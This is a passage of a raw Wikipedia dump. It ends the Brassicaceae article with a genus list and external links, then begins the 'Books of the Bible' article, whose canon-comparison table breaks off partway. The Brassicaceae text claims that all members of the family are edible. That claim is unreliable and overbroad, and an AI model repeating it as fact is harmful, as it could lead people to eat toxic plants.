The mustard family is concentrated in the [[temperate]] regions and reaches maximal diversity around the [[Mediterranean]] area. It contains over 350 genera and about 3000 species. 

The family consists of [[herbaceous]] plants with annual, bi-annual and perennial lifespans. Members of this family often have alternate (rarely opposite) leaves. Most members share a suite of [[glucosinolate]] compounds that has a typical pungent odor usually associated with cole crops. 

Whilst some members have seeds with a high [[erucic acid]] content, making these unsafe to eat in large doses, all members of this family are edible.

;Genera
{|
|- valign=top
|
*''[[Acanthocardamum]]''
*''[[Aethionema]]''
*''[[Agallis]]''
*''[[Alliaria]]''
*''[[Alyssoides]]''
*''[[Alysopsis]]'' 
*''[[Alyssum (genus)|Alyssum]]''
*''[[Ammosperma]]''
*''[[Anastatica]]''
*''[[Anchonium]]''
*''[[Andrzeiowskia]]''
*''[[Anelsonia]]''
*''[[Aphragmus]]''
*''[[Aplanodes]]''
*''[[Arabidella]]''
*''[[Arabidopsis]]''
*''[[Arabis]]''
*''[[Arcyosperma]]''
*''[[Horseradish|Armoracia]]''
*''[[Aschersoniodoxa]]''
*''[[Asperuginoides]]''
*''[[Asta (genus)|Asta]]''
*''[[Atelanthera]]''
*''[[Athysanus]]''
*''[[Aubrieta]]''
*''[[Aurinia]]''
*''[[Ballantinia]]''
*''[[Barbarea]]''
*''[[Beringia (plant)|Beringia]]''
*''[[Berteroa]]''
*''[[Berteroella]]''
*''[[Biscutella]]''
*''[[Bivonaea]]''
*''[[Blennodia]]''
*''[[Boleum]]''
*''[[Boreava]]''
*''[[Bornmuellera]]''
*''[[Borodinia]]''
*''[[Botscantzevia]]''
*''[[Brachycarpaea]]''
*''[[Brassica]]''
*''[[Braya]]''
*''[[Brayopsis]]''
*''[[Brossardia]]''
*''[[Bunias]]''
*''[[Cakile]]''
*''[[Calepina]]''
*''[[Calymmatium]]''
*''[[Camelina]]''
*''[[Camelinopsis]]''
*''[[Capsella]]''
*''[[Cardamine]]''
*''[[Cardaminopsis]]''
*''[[Cardaria]]''
*''[[Carinavalva]]''
*''[[Carrichtera]]''
*''[[Catadysia]]''
*''[[Catenulina]]''
*''[[Caulanthus]]''
*''[[Caulostramina]]''
*''[[Ceratocnemum]]''
*''[[Ceriosperma]]''
*''[[Chalcanthus]]''
*''[[Chamira]]''
*''[[Chartoloma]]''
*''[[Cheesemania]]''
*''[[Cheiranthus]]''
*''[[Chlorocrambe]]''
*''[[Chorispora]]''
*''[[Christolea]]''
*''[[Chrysobraya]]''
*''[[Chrysochamela]]''
*''[[Cithareloma]]''
*''[[Clastopus]]''
*''[[Clausia]]''
*''[[Clypeola]]''
*''[[Cochlearia]]''
*''[[Coelonema]]''
*''[[Coincya]]''
*''[[Coluteocarpus]]''
*''[[Conringia]]''
*''[[Cordylocarpus]]''
*''[[Coronopus]]''
*''[[Crambe]]''
*''[[Crambella]]''
*''[[Cremolobus]]''
*''[[Crucihimalaya]]''
*''[[Cryptospora]]''
*''[[Cuphonotus]]''
*''[[Cusickiella]]''
|
*''[[Cycloptychis]]''
*''[[Cymatocarpus]]''
*''[[Cyphocardamum]]''
*''[[Dactylocardamum]]''
*''[[Degenia]]''
*''[[Delpinophytum]]''
*''[[Descurainia]]''
*''[[Diceratella]]''
*''[[Dichasianthus]]''
*''[[Dictyophragmus]]''
*''[[Didesmus]]''
*''[[Didymophysa]]''
*''[[Dielsiocharis]]''
*''[[Dilophia]]''
*''[[Dimorphocarpa]]''
*''[[Diplotaxis]]''
*''[[Dipoma]]''
*''[[Diptychocarpus]]''
*''[[Dithyrea]]''
*''[[Dolichirhynchus]]''
*''[[Dontostemon]]''
*''[[Douepea]]''
*''[[Draba]]''
*''[[Drabastrum]]''
*''[[Drabopsis]]''
*''[[Dryopetalon]]''
*''[[Eigia]]''
*''[[Elburzia]]''
*''[[Enarthrocarpus]]''
*''[[Englerocharis]]''
*''[[Eremobium]]''
*''[[Eremoblastus]]''
*''[[Eremodraba]]''
*''[[Eremophyton]]''
*''[[Ermania]]''
*''[[Ermaniopsis]]''
*''[[Erophila]]''
*''[[Erucaria]]''
*''[[Erucastrum]]''
*''[[Erysimum]]''
*''[[Euclidium]]''
*''[[Eudema]]''
*''[[Eutrema]]''
*''[[Euzomodendron]]''
*''[[Farsetia]]''
*''[[Fezia]]''
*''[[Fibigia]]''
*''[[Foleyola]]''
*''[[Fortuynia]]''
*''[[Galitzkya]]''
*''[[Geococcus]]''
*''[[Glaribraya]]''
*''[[Glastaria]]''
*''[[Glaucocarpum]]''
*''[[Goldbachia]]''
*''[[Gorodkovia]]''
*''[[Graellsia]]''
*''[[Grammosperma]]''
*''[[Guiraoa]]''
*''[[Gynophorea]]''
*''[[Halimolobos]]''
*''[[Harmsiodoxa]]''
*''[[Hedinia]]''
*''[[Heldreichia]]''
*''[[Heliophila]]''
*''[[Hemicrambe]]''
*''[[Hemilophia]]''
*''[[Hesperis]]''
*''[[Heterodraba]]''
*''[[Hirschfeldia]]''
*''[[Hollermayera]]''
*''[[Hornungia]]''
*''[[Hornwoodia]]''
*''[[Hugueninia]]''
*''[[Hymenolobus]]''
*''[[Ianhedgea]]''
*''[[Iberis]]''
*''[[Idahoa]]''
*''[[Iodanthus]]''
*''[[Ionopsidium]]''
*''[[Irenepharsus]]''
*''[[Isatis]]''
*''[[Ischnocarpus]]''
*''[[Iskandera]]''
*''[[Iti]]''
*''[[Ivania]]''
*''[[Kernera]]''
*''[[Kremeriella]]''
*''[[Lachnocapsa]]''
*''[[Lachnoloma]]''
|
*''[[Leavenworthia]]''
*''[[Lepidium]]''
*''[[Lepidostemon]]''
*''[[Leptaleum]]''
*''[[Lesquerella]]''
*''[[Lignariella]]''
*''[[Lithodraba]]''
*''[[Lobularia]]''
*''[[Lonchophora]]''
*''[[Loxostemon]]''
*''[[Lunaria]]''
*''[[Lyocarpus]]''
*''[[Lyrocarpa]]''
*''[[Macropodium]]''
*''[[Malcolmia]]''
*''[[Mancoa]]''
*''[[Maresia]]''
*''[[Mathewsia]]''
*''[[Matthiola]]''
*''[[Megacarpaea]]''
*''[[Megadenia]]''
*''[[Menkea]]''
*''[[Menonvillea]]''
*''[[Microlepidium]]''
*''[[Microsysymbrium]]''
*''[[Microstigma]]''
*''[[Morettia]]''
*''[[Moricandia]]''
*''[[Moriera]]''
*''[[Morisia]]''
*''[[Murbeckiella]]''
*''[[Muricaria]]''
*''[[Myagrum]]''
*''[[Nasturtiopsis]]''
*''[[Nasturtium (scientific name)|Nasturtium]]''
*''[[Neomartinella]]''
*''[[Neotchihatchewia]]''
*''[[Neotorularia]]''
*''[[Nerisyrenia]]''
*''[[Neslia]]''
*''[[Neuontobotrys]]''
*''[[Notoceras]]''
*''[[Notothlaspi]]''
*''[[Ochthodium]]''
*''[[Octoceras]]''
*''[[Olimarabidopsis]]''
*''[[Onuris (plant)|Onuris]]''
*''[[Oreoloma]]''
*''[[Oreophyton]]''
*''[[Ornithocarpa]]''
*''[[Orychophragmus]]''
*''[[Otocarpus]]''
*''[[Oudneya]]''
*''[[Pachycladon]]''
*''[[Pachymitus]]''
*''[[Pachyphragma]]''
*''[[Pachypterygium]]''
*''[[Parlatoria]]''
*''[[Parodiodoxa]]''
*''[[Parolinia]]''
*''[[Parrya]]''
*''[[Parryodes]]''
*''[[Pegaeophyton]]''
*''[[Peltaria]]''
*''[[Peltariopsis]]''
*''[[Pennellia]]''
*''[[Petiniotia]]''
*''[[Petrocallis]]''
*''[[Phaeonychium]]''
*''[[Phlebolobium]]''
*''[[Phlegmatospermum]]''
*''[[Phoenicaulis]]''
*''[[Physaria]]''
*''[[Physocardamum]]''
*''[[Physoptychis]]''
*''[[Physorrhynchus]]''
*''[[Platycraspedum]]''
*''[[Polyctenium]]''
*''[[Polypsecadium]]''
*''[[Pringlea]]''
*''[[Prionotrichon]]''
*''[[Pritzelago]]''
*''[[Pseuderucaria]]''
*''[[Pseudoarabidopsis]]''
*''[[Pseudocamelina]]''
*''[[Pseudoclausia]]''
*''[[Pseudofortuynia]]''
*''[[Pseudovesicaria]]''
*''[[Psychine]]''
*''[[Pterygiosperma]]''
|
*''[[Pterygostemon]]''
*''[[Pugionium]]''
*''[[Pycnoplinthopsis]]''
*''[[Pycnoplinthus]]''
*''[[Pyramidium]]''
*''[[Quezeliantha]]''
*''[[Quidproquo]]''
*''[[Raffenaldia]]''
*''[[Raphanorhyncha]]''
*''[[Raphanus]]''
*''[[Rapistrum]]''
*''[[Reboudia]]''
*''[[Redowskia]]''
*''[[Rhizobotrya]]''
*''[[Ricotia]]''
*''[[Robeschia]]''
*''[[Rollinsia]]''
*''[[Romanschulzia]]''
*''[[Roripella]]''
*''[[Rorippa]]''
*''[[Rytidocarpus]]''
*''[[Sameraria]]''
*''[[Sarcodraba]]''
*''[[Savignya]]''
*''[[Scambopus]]''
*''[[Schimpera]]''
*''[[Schivereckia]]''
*''[[Schizopetalon]]''
*''[[Schlechteria]]''
*''[[Schoenocrambe]]''
*''[[Schouwia]]''
*''[[Scoliaxon]]''
*''[[Selenia]]''
*''[[Sibara]]''
*''[[Silicularia]]''
*''[[Sinapidendron]]''
*''[[Sinapis]]''
*''[[Sisymbrella]]''
*''[[Sisymbriopsis]]''
*''[[Sisymbrium]]''
*''[[Smelowskia]]''
*''[[Sobolewslia]]''
*''[[Sohms-Laubachia]]''
*''[[Sophiopsis]]''
*''[[Sphaerocardamum]]''
*''[[Spirorhynchus]]''
*''[[Spryginia]]''
*''[[Staintoniella]]''
*''[[Stanfordia]]''
*''[[Stanleya]]''
*''[[Stenopetalum]]''
*''[[Sterigmostemum]]''
*''[[Stevenia]]''
*''[[Straussiella]]''
*''[[Streptanthella]]''
*''[[Streptanthus]]''
*''[[Streptoloma]]''
*''[[Stroganowia]]''
*''[[Stubebdorffia]]''
*''[[Subularia]]''
*''[[Succowia]]''
*''[[Synstemon]]''
*''[[Synthlipsis]]''
*''[[Taphrospermum]]''
*''[[Tauscheria]]''
*''[[Teesdalia]]''
*''[[Teesdaliopsis]]''
*''[[Tetracme]]''
*''[[Thelypodiopsis]]''
*''[[Thelypodium]]''
*''[[Thlaspeocarpa]]''
*''[[Thlaspi]]''
*''[[Thysanocarpus]]''
*''[[Trachystoma]]''
*''[[Trichotolinum]]''
*''[[Trochiscus]]''
*''[[Tropidocarpum]]''
*''[[Turritis]]''
*''[[Vella]]''
*''[[Warea]]''
*''[[Wasabia]]''
*''[[Weberbauera]]''
*''[[Werdermannia]]''
*''[[Winklera]]''
*''[[Xerodraba]]''
*''[[Yinshania]]''
*''[[Zerdana]]''
*''[[Zilla (genus)|Zilla]]''
|}

==References==
&lt;references/&gt;

== External links ==
* [http://delta-intkey.com/angio/www/crucifer.htm Brassicaceae] in [http://delta-intkey.com/angio/ L. Watson and M.J. Dallwitz (1992 onwards). The families of flowering plants: descriptions, illustrations, identification, information retrieval.] http://delta-intkey.com
* [http://www.botany.hawaii.edu/faculty/carr/brassic.htm Brassicaceae at www.botany.hawaii.edu]

[[Category:Plant families]]
[[Category:Brassicaceae| ]]

[[da:Korsblomst-familien]]
[[de:Kreuzblütengewächse]]
[[es:Brassicaceae]]
[[eo:Brasikacoj]]
[[fr:Brassicaceae]]
[[la:Brassicaceae]]
[[lt:Bastutiniai augalai]]
[[nl:Kruisbloemenfamilie]]
[[ja:アブラナ科]]
[[pl:Kapustowate]]
[[pt:Brassicaceae]]
[[sv:Korsblommiga växter]]
[[zh:十字花科]]</text>
    </revision>
  </page>
  <page>
    <title>Books of the Bible</title>
    <id>3796</id>
    <revision>
      <id>40465331</id>
      <timestamp>2006-02-20T19:32:23Z</timestamp>
      <contributor>
        <username>Licio</username>
        <id>950741</id>
      </contributor>
      <text xml:space="preserve">The canonical list of the '''Books of the Bible''' differs among [[Jew]]s, and [[Catholic]], [[Protestantism |Protestant]], and [[Greek Orthodox]] [[Christians]], even though there is a great deal of overlap. Below a table is presented to compare the canons of these denominations (other faiths are not currently included) for both the [[Hebrew Bible]] and the [[New Testament]]. A detailed discussion of the differences is found in the article on [[Biblical canon]].

It should be noted that the [[Greek Orthodox]], [[Oriental Orthodox]], and [[Eastern Catholic]] churches may have minor differences in the list of accepted books. The list given here for these churches is the most broad list of canonical books &amp;mdash; that is, if at least one eastern church accepts the book, it is included in the list here. The books included by the Roman Catholic Church are universally included in the eastern canons.

== The Tanakh and the Protestant, Roman Catholic, and Greek Orthodox Old Testaments ==
{| border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;2&quot;
|-
! ''[[Tanakh]]''&lt;br&gt;
! Protestant Old Testament
! Catholic Old Testament
! aligh=&quot;center&quot; | Greek Orthodox Old Testament
|- align=&quot;center&quot;
| colspan=&quot;4&quot; rowspan=&quot;1&quot; | ''[[Torah]] or Pentateuch''
|-
| align=&quot;center&quot; bgcolor=&quot;#ccccff&quot; | [[Genesis]]
| align=&quot;center&quot; bgcolor=&quot;#ccccff&quot; | [[Genesis]]
| align=&quot;center&quot; bgcolor=&quot;#ccccff&quot; | [[Genesis]]
| align=&quot;center&quot; bgcolor=&quot;#ccccff&quot; | [[Genesis]]
|-
| align=&quot;center&quot; bgcolor=&quot;#ccccff&quot; | [[Exodus]]
| align=&quot;center&quot; bgcolor=&quot;#ccccff&quot; | [[Exodus]]
| align=&quot;center&quot; bgcolor=&quot;#ccccff&quot; | [[Exodus]]
| align=&quot;center&quot; bgcolor=&quot;#ccccff&quot; | [[Exodus]]
|-
| align=&quot;center&quot; bgcolor=&quot;#ccccff&quot; | [[Leviticus]]
| align=&quot;center&quot; bgcolor=&quot;#ccccff&quot; | [[Leviticus]]
| align=&quot;center&quot; bgcolor=&quot;#ccccff&quot; | [[Leviticus]]
| align=&quot;center&quot; bgcolor=&quot;#ccccff&quot; | [[Leviticus]]
|-
| align=&quot;center&quot; bgcolor=&quot;#ccccff&quot; | [[Book of Numbers|Numbers]]
| align=&quot;center&quot; bgcolor=&quot;#ccccff&quot; | [[Book of Numbers|Numbers]]
| align=&quot;center&quot; bgcolor=&quot;#ccccff&quot; | [[Book of Numbers|Numbers]]
| align=&quot;center&quot; bgcolor=&quot;#ccccff&quot; | [[Book of Numbers|Numbers]]
|-
| align=&quot;center&quot; bgcolor=&quot;#ccccff&quot; valign=&quot;top&quot; | [[Deuteronomy]]
| align=&quot;center&quot; bgcolor=&quot;#ccccff&quot; valign=&quot;top&quot; | [[Deuteronomy]]
| align=&quot;center&quot; bgcolor=&quot;#ccccff&quot; valign=&quot;top&quot; | [[Deuteronomy]]
| align=&quot;center&quot; bgcolor=&quot;#ccccff&quot; valign=&quot;top&quot; | [[Deuteronomy]]
|-
| colspan=&quot;4&quot; rowspan=&quot;1&quot; align=&quot;center&quot; bgcolor=&quot;#ffffff&quot; | &lt;br&gt;
&lt;div align=&quot;center&quot;&gt;''[[Nevi'im]] or Prophets''&lt;/div&gt;
|-
|
| colspan=&quot;3&quot; align=&quot;center&quot; bgcolor=&quot;#ffffff&quot; | &lt;div align=&quot;center&quot;&gt;''Historical books''&lt;/div&gt;
|-
| align=&quot;center&quot; bgcolor=&quot;#ffcc99&quot; | [[Book of Joshua|Joshua]]
| align=&quot;center&quot; bgcolor=&quot;#ffcc99&quot; | [[Book of Joshua|Joshua]]
| align=&quot;center&quot; bgcolor=&quot;#ffcc99&quot; | [[Book of Joshua|Joshua]]
| align=&quot;center&quot; bgcolor=&quot;#ffcc99&quot; | [[Book of Joshua|Joshua]]
|-
| align=&quot;center&quot; bgcolor=&quot;#ffcc99&quot; | [[Book of Judges|Judges]]
| align=&quot;center&quot; bgcolor=&quot;#ffcc99&quot; | [[Book of Judges|Judges]]
| align=&quot;center&quot; bgcolor=&quot;#ffcc99&quot; | [[Book of Judges|Judges]]
| align=&quot;center&quot; bgcolor=&quot;#ffcc99&quot; | [[Book of Judges|Judges]]
|-
| align=&quot;center&quot; bgcolor=&quot;#ffffff&quot; | *
| align=&quot;center&quot; bgcolor=&quot;#ffcc99&quot; | [[Book of Ruth|Ruth]]
| align=&quot;center&quot; bgcolor=&quot;#ffcc99&quot; | [[Book of Ruth|Ruth]]
| align=&quot;center&quot; bgcolor=&quot;#ffcc99&quot; | [[Book of Ruth|Ruth]]
|-
| rowspan=&quot;2&quot; align=&quot;center&quot; bgcolor=&quot;#ffcc99&quot; | [[Books of Samuel|Samuel]]
| align=&quot;center&quot; bgcolor=&quot;#ffcc99&quot; | [[Books of Samuel|1 Samuel]]
| align=&quot;center&quot; bgcolor=&quot;#ffcc99&quot; | [[Books of Samuel|1 Samuel]]
| align=&quot;center&quot; bgcolor=&quot;#ffcc99&quot; | [[Books of Samuel|1 Samuel (1 Kingdoms)]]&lt;sup&gt;[[#Notes|13]]&lt;/sup&gt;
|-
| align=&quot;center&quot; bgcolor=&quot;#ffcc99&quot; | [[Books of Samuel|2 Samuel]]
| align=&quot;center&quot; bgcolor=&quot;#ffcc99&quot; | [[Books of Samuel|2 Samuel]]
| align=&quot;center&quot; bgcolor=&quot;#ffcc99&quot; | [[Books of Samuel|2 Samuel (2 Kingdoms)]]&lt;sup&gt;[[#Notes|13]]&lt;/sup&gt;
|-
| rowspan=&quot;2&quot; align=&quot;center&quot; bgcolor=&quot;#ffcc99&quot; | [[Books of Kings|Kings]]
| align=&quot;center&quot; bgcolor=&quot;#ffcc99&quot; | [[Books of Kings|1 Kings]]
| align=&quot;center&quot; bgcolor=&quot;#ffcc99&quot; | [[Books of Kings|1 Kings]]
| align=&quot;center&quot; bgcolor=&quot;#ffcc99&quot; | [[Books of Kings|1 Kings (3 Kingdoms)]]&lt;sup&gt;[[#Notes|13]]&lt;/sup&gt;
|-
| align=&quot;center&quot; bgcolor=&quot;#ffcc99&quot; | [[Books of Kings|2 Kings]]
| align=&quot;center&quot; bgcolor=&quot;#ffcc99&quot; | [[Books of Kings|2 Kings]]&lt;br&gt;

| align=&quot;center&quot; bgcolor=&quot;#ffcc99&quot; | [[Books of Kings|2 Kings (4 Kingdoms)]]&lt;sup&gt;[[#Notes|13]]&lt;/sup&gt;&lt;br&gt;
|-
| align=&quot;center&quot; bgcolor=&quot;#ffcc99&quot; | [[Book of Isaiah|Isaiah]]
| colspan=&quot;3&quot; rowspan=&quot;3&quot; valign=&quot;top&quot; | &amp;nbsp;
|-
| align=&quot;center&quot; bgcolor=&quot;#ffcc99&quot; | [[Book of Jeremiah|Jeremiah]]
|-
| align=&quot;center&quot; bgcolor=&quot;#ffcc99&quot; | [[Book of Ezekiel|Ezekiel]]

|-
| colspan=&quot;1&quot; rowspan=&quot;31&quot; | &lt;br&gt;

| align=&quot;center&quot; bgcolor=&quot;#ffcc99&quot; | [[Books of Chronicles|1 Chronicles]]
| align=&quot;center&quot; bgcolor=&quot;#ffcc99&quot; | [[Books of Chronicles|1 Chronicles]]
| align=&quot;center&quot; bgcolor=&quot;#ffcc99&quot; | [[Books of Chronicles|1 Chronicles]]
|-
| align=&quot;center&quot; bgcolor=&quot;#ffcc99&quot; | [[Books of Chronicles|2 Chronicles]]
| align=&quot;center&quot; bgcolor=&quot;#ffcc99&quot; | [[Books of Chronicles|2 Chronicles]]
| align=&quot;center&quot; bgcolor=&quot;#ffcc99&quot; | [[Books of Chronicles|2 Chronicles]]
|-
| valign=&quot;top&quot; | &lt;br&gt; || valign=&quot;top&quot; | &lt;br&gt;
| align=&quot;center&quot; bgcolor=&quot;#ffcc99&quot; valign=&quot;top&quot; | [[1 Esdras]]&lt;sup&gt;[[#Notes|6]]&lt;/sup&gt;&lt;br&gt;
|-
| align=&quot;center&quot; bgcolor=&quot;#ffcc99&quot; | [[Book of Ezra|Ezra]]
| align=&quot;center&quot; bgcolor=&quot;#ffcc99&quot; | [[Book of Ezra|Ezra]]
| align=&quot;center&quot; bgcolor=&quot;#ffcc99&quot; | [[Book of Ezra|Ezra (2 Esdras)]]&lt;sup&gt;[[#Notes|12]],[[#Notes|13]]&lt;/sup&gt;
|-
| align=&quot;center&quot; bgcolor=&quot;#ffcc99&quot; | [[Book of Nehemiah|Nehemiah]]
| align=&quot;center&quot; bgcolor=&quot;#ffcc99&quot; | [[Book of Nehemiah|Nehemiah]]
| align=&quot;center&quot; bgcolor=&quot;#ffcc99&quot; | [[Book of Nehemiah|Nehemiah (2 Esdras)]]&lt;sup&gt;[[#Notes|12]],[[#Notes|13]]&lt;/sup&gt;
|-
| colspan=&quot;1&quot; rowspan=&quot;2&quot; | &lt;br&gt;
| align=&quot;center&quot; bgcolor=&quot;#ffcc99&quot; | [[Book of Tobit|Tobit]]&lt;sup&gt;[[#Notes|1]]&lt;/sup&gt;
| align=&quot;center&quot; bgcolor=&quot;#ffcc99&quot; | [[Book of Tobit|Tobit]]&lt;sup&gt;[[#Notes|1]]&lt;/sup&gt;
|-
| align=&quot;center&quot; bgcolor=&quot;#ffcc99&quot; | [[Book of Judith|Judith]]&lt;sup&gt;[[#Notes|1]]&lt;/sup&gt;
| align=&quot;center&quot; bgcolor=&quot;#ffcc99&quot; | [[Book of Judith|Judith]]&lt;sup&gt;[[#Notes|1]]&lt;/sup&gt;
|-
| align=&quot;center&quot; bgcolor=&quot;#ffcc99&quot; | [[Book of Esther|Esther]]
| align=&quot;center&quot; bgcolor=&quot;#ffcc99&quot; | [[Book of Esther|Esther]]&lt;sup&gt;[[#Notes|2]]&lt;/sup&gt;
| align=&quot;center&quot; bgcolor=&quot;#ffcc99&quot; | [[Book of Esther|Esther]]&lt;sup&gt;[[#Notes|2]]&lt;/sup&gt;
|-
| rowspan=&quot;2&quot; bgcolor=&quot;#ffffff&quot; valign=&quot;top&quot; | &lt;br&gt;

| align=&quot;center&quot; bgcolor=&quot;#ffcc99&quot; | [[1 Maccabees]]&lt;sup&gt;[[#Notes|1]],[[#Notes|5]]&lt;/sup&gt;
| align=&quot;center&quot; bgcolor=&quot;#ffcc99&quot; | [[1 Maccabees]]&lt;sup&gt;[[#Notes|1]],[[#Notes|5]]&lt;/sup&gt;
|-
| align=&quot;center&quot; bgcolor=&quot;#ffcc99&quot; | [[2 Maccabees]]&lt;sup&gt;[[#Notes|1]],[[#Notes|5]]&lt;/sup&gt;
| align=&quot;center&quot; bgcolor=&quot;#ffcc99&quot; | [[2 Maccabees]]&lt;sup&gt;[[#Notes|1]],[[#Notes|5]]&lt;/sup&gt;
|-
| rowspan=&quot;2&quot; colspan=&quot;2&quot; bgcolor=&quot;#ffffff&quot; | &amp;nbsp;
| align=&quot;center&quot; bgcolor=&quot;#ffcc99&quot; | [[3 Maccabees]]&lt;sup&gt;[[#Notes|6]]&lt;/sup&gt;
|-
| align=&quot;center&quot; bgcolor=&quot;#ffcc99&quot; | [[4 Maccabees]]&lt;sup&gt;[[#Notes|6]]&lt;/sup&gt;
|- align=&quot;center&quot;
| colspan=&quot;3&quot; rowspan=&quot;1&quot; | ''Wisdom books''&lt;br&gt;
|-
| align=&quot;center&quot; bgcolor=&quot;#99ff99&quot; | [[Book of Job|Job]]
| align=&quot;center&quot; bgcolor=&quot;#99ff99&quot; | [[Book of Job|Job]]
| align=&quot;center&quot; bgcolor=&quot;#99ff99&quot; | [[Book of Job|Job]]
|-
| align=&quot;center&quot; bgcolor=&quot;#99ff99&quot; | [[Psalms]]
| align=&quot;center&quot; bgcolor=&quot;#99ff99&quot; | [[Psalms]]
| align=&quot;center&quot; bgcolor=&quot;#99ff99&quot; | [[Psalms]]&lt;sup&gt;[[#Notes|9]]&lt;/sup&gt;
|-
| align=&quot;center&quot; bgcolor=&quot;#ffffff&quot; | &amp;nbsp;
| align=&quot;center&quot; bgcolor=&quot;#ffffff&quot; | &amp;nbsp;
| align=&quot;center&quot; bgcolor=&quot;#99ff99&quot; | [[Odes]]&lt;sup&gt;[[#Notes|6]],[[#Notes|7]]&lt;/sup&gt;
|-
| align=&quot;center&quot; bgcolor=&quot;#99ff99&quot; | [[Book of Proverbs|Proverbs]]
| align=&quot;center&quot; bgcolor=&quot;#99ff99&quot; | [[Book of Proverbs|Proverbs]]
| align=&quot;center&quot; bgcolor=&quot;#99ff99&quot; | [[Book of Proverbs|Proverbs]]
|-
| align=&quot;center&quot; bgcolor=&quot;#99ff99&quot; | [[Ecclesiastes]]
| align=&quot;center&quot; bgcolor=&quot;#99ff99&quot; | [[Ecclesiastes]]
| align=&quot;center&quot; bgcolor=&quot;#99ff99&quot; | [[Ecclesiastes]]
|-
| align=&quot;center&quot; bgcolor=&quot;#99ff99&quot; | [[Song of Solomon]]
| align=&quot;center&quot; bgcolor=&quot;#99ff99&quot; | [[Song of Solomon]]
| align=&quot;center&quot; bgcolor=&quot;#99ff99&quot; | [[Song of Solomon]]
|-
| colspan=&quot;1&quot; rowspan=&quot;2&quot; | &lt;br&gt;

| align=&quot;center&quot; bgcolor=&quot;#99ff99&quot; | [[Book of Wisdom|Wisdom]]&lt;sup&gt;[[#Notes|1]]&lt;/sup&gt;
| align=&quot;center&quot; bgcolor=&quot;#99ff99&quot; | [[Book of Wisdom|Wisdom]]&lt;sup&gt;[[#Notes|1]]&lt;/sup&gt;
|-
| align=&quot;center&quot; bgcolor=&quot;#99ff99&quot; | [[Sirach]]&lt;sup&gt;[[#Notes|1]]&lt;/sup&gt;
| align=&quot;center&quot; bgcolor=&quot;#99ff99&quot; | [[Sirach]]&lt;sup&gt;[[#Notes|1]]&lt;/sup&gt;
|-
| colspan=&quot;2&quot; rowspan=&quot;1&quot; valign=&quot;top&quot; | &lt;br&gt;

| align=&quot;center&quot; bgcolor=&quot;#99ff99&quot; valign=&quot;top&quot; | [[Psalms of Solomon]]&lt;sup&gt;[[#Notes|6]]&lt;/sup&gt;&lt;br&gt;
|- align=&quot;center&quot;
| colspan=&quot;3&quot; rowspan=&quot;1&quot; | ''[[Major prophet|Major prophets]]''
|-
| align=&quot;center&quot; bgcolor=&quot;#ff99ff&quot; valign=&quot;top&quot; | [[Book of Isaiah|Isaiah]]
| align=&quot;center&quot; bgcolor=&quot;#ff99ff&quot; valign=&quot;top&quot; | [[Book of Isaiah|Isaiah]]
| align=&quot;center&quot; bgcolor=&quot;#ff99ff&quot; valign=&quot;top&quot; | [[Book of Isaiah|Isaiah]]
|-
| align=&quot;center&quot; bgcolor=&quot;#ff99ff&quot; | [[Book of Jeremiah|Jeremiah]]
| align=&quot;center&quot; bgcolor=&quot;#ff99ff&quot; | [[Book of Jeremiah|Jeremiah]]
| align=&quot;center&quot; bgcolor=&quot;#ff99ff&quot; | [[Book of Jeremiah|Jeremiah]]
|-
| align=&quot;center&quot; bgcolor=&quot;#ff99ff&quot; | [[Book of Lamentations|Lamentations]]
| align=&quot;center&quot; bgcolor=&quot;#ff99ff&quot; | [[Book of Lamentations|Lamentations]]
| align=&quot;center&quot; bgcolor=&quot;#ff99ff&quot; | [[Book of Lamentations|Lamentations]]
|-
| &lt;br&gt;
| align=&quot;center&quot; bgcolor=&quot;#ff99ff&quot; | [[Book of Baruch|Baruch]]&lt;sup&gt;[[#Notes|1]],[[#Notes|3]]&lt;/sup&gt;
| align=&quot;center&quot; bgcolor=&quot;#ff99ff&quot; | [[Book of Baruch|Baruch]]&lt;sup&gt;[[#Notes|1]],[[#Notes|3]]&lt;/sup&gt;
|-
| colspan=&quot;2&quot; rowspan=&quot;1&quot; valign=&quot;top&quot; | &lt;br&gt;
| align=&quot;center&quot; bgcolor=&quot;#ff99ff&quot; | [[Letter of Jeremiah]]&lt;sup&gt;[[#Notes|1]],[[#Notes|8]]&lt;/sup&gt;
|- align=&quot;center&quot;
| bgcolor=&quot;#ff99ff&quot; | [[Book of Ezekiel|Ezekiel]]
| bgcolor=&quot;#ff99ff&quot; | [[Book of Ezekiel|Ezekiel]]
| bgcolor=&quot;#ff99ff&quot; | [[Book of Ezekiel|Ezekiel]]
|- align=&quot;center&quot;
| bgcolor=&quot;#ff99ff&quot; | [[Book of Daniel|Daniel]]
| bgcolor=&quot;#ff99ff&quot; | [[Book of Daniel|Daniel]]&lt;sup&gt;[[#Notes|4]]&lt;/sup&gt;
| bgcolor=&quot;#ff99ff&quot; valign=&quot;top&quot; | [[Book of Daniel|Daniel]]&lt;sup&gt;[[#Notes|4]]&lt;/sup&gt;
|- align=&quot;center&quot;
| colspan=&quot;3&quot; rowspan=&quot;1&quot; | ''[[Minor prophet|Minor prophets]]''
|- align=&quot;center&quot;
| bgcolor=&quot;#ffffcc&quot; rowspan=&quot;12&quot; colspan=&quot;1&quot; | [[Minor prophet|The Twelve Prophets]]
| bgcolor=&quot;#ffffcc&quot; | [[Book of Hosea|Hosea]]
| bgcolor=&quot;#ffffcc&quot; | [[Book of Hosea|Hosea]]
| bgcolor=&quot;#ffffcc&quot; | [[Book of Hosea|Hosea]]
|- align=&quot;center&quot;
| bgcolor=&quot;#ffffcc&quot; | [[Book of Joel|Joel]]
| bgcolor=&quot;#ffffcc&quot; | [[Book of Joel|Joel]]
| bgcolor=&quot;#ffffcc&quot; | [[Book of Joel|Joel]]
|- align=&quot;center&quot;
| bgcolor=&quot;#ffffcc&quot; | [[Book of Amos|Amos]]
| bgcolor=&quot;#ffffcc&quot; | [[Book of Amos|Amos]]
| bgcolor=&quot;#ffffcc&quot; | [[Book of Amos|Amos]]
|- align=&quot;center&quot;
| bgcolor=&quot;#ffffcc&quot; | [[Book of Obadiah|Obadiah]]
| bgcolor=&quot;#ffffcc&quot; | [[Book of Obadiah|Obadiah]]
| bgcolor=&quot;#ffffcc&quot; | [[Book of Obadiah|Obadiah]]
|- align=&quot;center&quot;
| bgcolor=&quot;#ffffcc&quot; | [[Book of Jonah|Jonah]]
| bgcolor=&quot;#ffffcc&quot; | [[Book of Jonah|Jonah]]
| bgcolor=&quot;#ffffcc&quot; | [[Book of Jonah|Jonah]]
|- align=&quot;center&quot;
| bgcolor=&quot;#ffffcc&quot; | [[Book of Micah|Micah]]
